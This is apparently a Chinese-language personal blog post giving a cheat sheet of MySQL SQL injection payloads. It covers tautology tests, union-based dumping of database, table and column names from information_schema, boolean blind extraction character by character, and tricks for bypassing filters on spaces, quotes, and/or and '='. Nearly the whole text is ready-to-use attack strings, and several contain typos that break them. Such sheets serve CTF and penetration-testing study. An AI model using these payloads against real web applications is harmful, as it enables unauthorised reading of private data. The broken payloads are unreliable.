常用SQL注入方式
## 测试 ```sql # 恒假式 1' and 1=2# # 恒真式: 1' or 1=1# # 判断字段数: 1' order by 1.2.3.....# ``` ## 函数 ```sql # 数据库 database() # MYSQL版本 version() # 用户 user() # 用法:1' union select database(), 2,3# ``` ## 普通注入 ```sql # 爆库 1' union select database(),...# # 读第二个表名 1' union select table_name from information_schema.tables where table_schema='库名' limit 1, 1# # 读第二个字段名 1' union select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit1,1# # 读第二个字段数据 1' union select 字段名 from 库名.表名 limit 1,1# ``` ## 布尔盲注 ```sql # 爆库长度 1' and length(database())>=3# # 爆库名第一个字母 1' and substr(database(), 1, 1) = 'a' # 1' and ord(substr(database(), 1, 1)) = 97# # 爆第一个表名的第一个字母 1, and substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)='a'# 1, and ord(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))=97# # 爆第一个字段名的第一个字母 1' and substr((select column_name from infomation_schema.columns where table_schema='库名' and table_name='表名' limit0,1)1,1)='a'# 1' and ord(substr((select column_name from infomation_schema.columns where table_schema='库名' and table_name='表名' limit0,1)1,1))=97# # 爆第一个字段的第一个字母 1' and substr((select 字段名 from 库名.表名 limit 0,1),1,1)='a'# 1' and ord(substr((select 字段名 from 库名.表名 limit 0,1),1,1))=97# ``` ---------- ## 过滤空格 ```sql # 用注释代替空格 /**/ # 其他字符代替空格 %20 %09 %0a %0b %0c %0d %a0 TAB键 # 括号绕过,任何可以计算出结果的语句,都可以用括号包围起来。 ``` ## 过滤引号 ```sql # 用16进制绕过,将引号内的字符用16进制表示(0x...),省略引号 ``` ## 过滤and ```sql && ``` ## 过滤or ```sql || ``` ## 过滤= ```sql like ``` ## 其他绕过 - 大小写绕过 - 内联注释绕过 - 双关键字绕过 - 编码绕过 - 反引号`绕过
创建时间:2022-12-15
|
最后修改:2023-12-27
|
©允许规范转载
酷酷番茄
首页
文章
友链